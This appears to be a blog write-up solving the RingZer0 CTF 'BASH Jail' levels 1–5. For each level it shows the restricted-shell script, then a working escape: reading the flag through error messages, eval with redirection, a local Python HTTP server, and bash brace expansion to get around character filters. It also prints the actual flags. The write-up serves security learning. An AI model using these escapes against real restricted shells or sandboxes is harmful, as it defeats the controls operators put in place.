Here are my solutions for the ringzer0 Jail Escaping shell challenges.
Level1
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
evel1@ringzer0team.com's password:
RingZer0 Team Online CTF
BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)
Flag is located at /home/level1/flag.txt
Challenge bash code:
-----------------------------
while :
do
echo "Your input:"
read input
output=`$input`
done
-----------------------------
|
You can spawn a shell using:
Although you can’t read (you could redirect stdout to stderr) files, you can try to run commands based on the file content:
1
2
|
level1@lxc17-bash-jail:~$ awk '{system("wc "$1)}' /home/level1/flag.txt
wc: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory
|
Level 2
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
level2@ringzer0team.com's password:
RingZer0 Team Online CTF
BASH Jail Level 2:
Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)
Flag is located at /home/level2/flag.txt
Challenge bash code:
-----------------------------
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output="echo Your command is: $input"
eval $output
fi
done
-----------------------------
Your input:
|
Since you are not allowed to use certain characters like “;”, “&”, “]”, “b”, “d” and so on, you must think of some way to read
content of /home/level2/flag.txt. In my case the following worked:
1
2
3
|
`</home/level2/flag.txt`
Your command is: FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
Your input:
|
Level 3
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
level3@ringzer0team.com's password:
RingZer0 Team Online CTF
BASH Jail Level 3:
Current user is uid=1002(level3) gid=1002(level3) groups=1002(level3)
Flag is located at /home/level3/flag.txt
Challenge bash code:
-----------------------------
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc]* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input` &>/dev/null
echo "Command executed"
fi
done
-----------------------------
Your input:
|
The problem here is that stderr is being redirected to /dev/null:
1
|
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
|
The 2nd problem is that stdout and stderr are also redirected to /dev/null:
1
|
output=`$input` &>/dev/null
|
But fortunately we are allowed to use eval (which doesn’t match against the regexp in check_space). If I’d execute:
1
|
eval $(</home/level3/flag.txt)
|
this would cause an error since the shell cannot execute the command associated with the content in the flag file. But since stderr is redirected I had to redirect again to sth else, like stdin (0):
1
2
3
4
|
Your input:
eval $(</home/level3/flag.txt) 2>&0
./real.sh: line 39: FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j: command not found
Command executed
|
Level 4
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
level4@ringzer0team.com's password:
RingZer0 Team Online CTF
BASH Jail Level 4:
Current user is uid=1003(level4) gid=1003(level4) groups=1003(level4)
Flag is located at /home/level4/flag.txt
Challenge bash code:
-----------------------------
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc'/''<''>''&''$']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input < /dev/null` &>/dev/null
echo "Command executed"
fi
done
-----------------------------
Your input:
|
Since a lot of characters are not allowed, stdout/stderr redirection is not working anymore. And regarding < /dev/null: This is mostly used to detach a process from a tty. That means we are allowed to launch some daemons. After some try & failure I thought of starting some web server and then “downloading” the flag file using a GET request. At that point I had 2 problems:
- start a server
- somehow GET the flag.txt file
Starting a web server was easy:
1
2
|
Your input:
python -m SimpleHTTPServer
|
Now I had to download the file using http://127.0.0.1:8000. Then I’ve realized that for level1 I had a bash I could use to download the file:
1
2
3
4
5
6
7
8
|
level1@lxc17-bash-jail:~$ netstat -tan 1>&0
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 316 10.0.3.26:22 195.178.101.66:35930 ESTABLISHED
tcp 0 0 10.0.3.26:22 195.178.101.66:13279 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
|
As you can see the web server is running on port 8000. Since wget, curl or other HTTP clients were not available, I had to run python again in order to get the file:
1
2
3
4
5
6
7
8
|
level1@lxc17-bash-jail:~$ python3 1>&0
Python 3.4.3 (default, Oct 14 2015, 20:28:29)
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib.request
>>> urllib.request.urlopen("http://127.0.0.1:8000/flag.txt").read()
b'FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F\n'
>>> quConnection to ringzer0team.com closed.
|
Level 5
#
The last one was indeed very difficult. But before going into details, let’s have a look at the prompt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
RingZer0 Team Online CTF
BASH Jail Level 5:
Current user is uid=1004(level5) gid=1004(level5) groups=1004(level5)
Flag is located at /home/level5/flag.txt
Challenge bash code:
-----------------------------
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksctr'?''*''/''<''>''&''$']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input < /dev/null` &>/dev/null
echo "Command executed"
fi
done
-----------------------------
Your input:
|
So obvisouly a lot of characters are not allowed to be used. This makes the challenge very hard since also redirects (>,<,&) are not possible anymore. So even one has succeeded in reading the file, the OUTPUT has to be redirected to some other device. But the slash (/) is also not allowed, making it hard to specify the output (e.g. /dev/shm/buffer).
Having that in mind I’ve tried several things:
Vim
#
The idea was to start vim, read the flag.txt and write the buffer to sth like /dev/shm/buffervim. But vim has some problems starting when STDIN=/dev/null. At the beginning I saw vim starting but then it disapeared suddenly. It took me a file to find out that starting vim with STDIN != some tty would be tricky.
Create another file
#
Since I was able to read the file easily:
1
|
$ uniq flag.[a-z][a-z][a-z]
|
… I thought I could create a new file inside /home/level5/ by using uniq:
1
|
$ uniq flag.[a-z][a-z][a-z] new_file
|
That didn’t work and it took some some while to understand why. Using lsattr I’ve checked the attributes on /home/level5:
1
2
3
4
5
6
7
8
9
10
|
level1@lxc17-bash-jail:/home/level5$ lsattr -a>&0
----i--------e-- ./.
----i--------e-- ./..
----i--------e-- ./real.sh
lsattr: Permission denied While reading flags on ./flag.txt
----i--------e-- ./prompt.sh
----i--------e-- ./.bash_logout
----i--------e-- ./.bashrc
----i--------e-- ./.profile
level1@lxc17-bash-jail:/home/level5$
|
As you can see /home/level5 is set to immutable (i) which means that I can’t modify files in that directory or create new ones.
Use bash magic voodoo
#
Desperately searching for some solution, I’ve asked maxenced (who was the last one having solved this level) for some additional hint. BTW: I’ve “bought” the hint for this hint very early, but it didn’t help a lot. Anyway… He told me I should use bash brace expansions.
Okay, so let’s have a look and see what we can do using them:
1
2
3
4
5
6
7
8
|
$ echo {a..z}
a b c d e f g h i j k l m n o p q r s t u v w x y z
$ echo {1..10..2}
1 3 5 7 9
$ echo {o..u}ython
oython python qython rython sython tython uython
|
So obvisouly we can bypass the restricted characters by simpling iterating through a range of
characters. Now the next step was to find a way how to expand shell commands (and this was the
most imporant part - thx again maxenced). I’ve tried sth
like:
1
2
|
$ eval {o..u}ython
bash: oython: command not found
|
eval was not expanding the commands. Then I’ve tried sth different:
1
2
|
$ `echo echo {o..u}ython\\;`
oython; python; qython; rython; sython; tython; uython;
|
Now let me explain the changes:
- I’ve added backticks to run the commands
- I’ve added \; at the end which simply adds a semicolon (;) at the end of each expansion
If I change the echo to eval, then eval will basically run:
1
|
oython; python; qython; rython; sython; tython; uython;
|
Afterwards I’ve found out that python refused to start if STDIN = /dev/null (the same as with vim). Then
I remembered the solution in a previous level where I’ve start a HTTP server (using python) to “download”
the flag.txt. So all I wanted to run was:
1
|
$ python -m SimpleHTTPServer
|
As you may have noticed “SimpleHTTPServer” contains restricted characters like r. So we’ll have to use brace expansion again:
1
2
|
$ `echo echo {u..o}ython\ -m\ SimpleHTTPSe{u..o}ve{o..u}\\;`
...
|
The next step was to properly escape the backslashes to make sure that eval is executing the right thing. So the final payload was:
1
|
$ eval eval py{o..u}hon\\ -m\\ SimpleHTTPSe{q..v}ve{q..v}\\;
|
I would also want to thank David, Ralph and Tobias for their awesome ideas and the great hacking session we had on Friday :)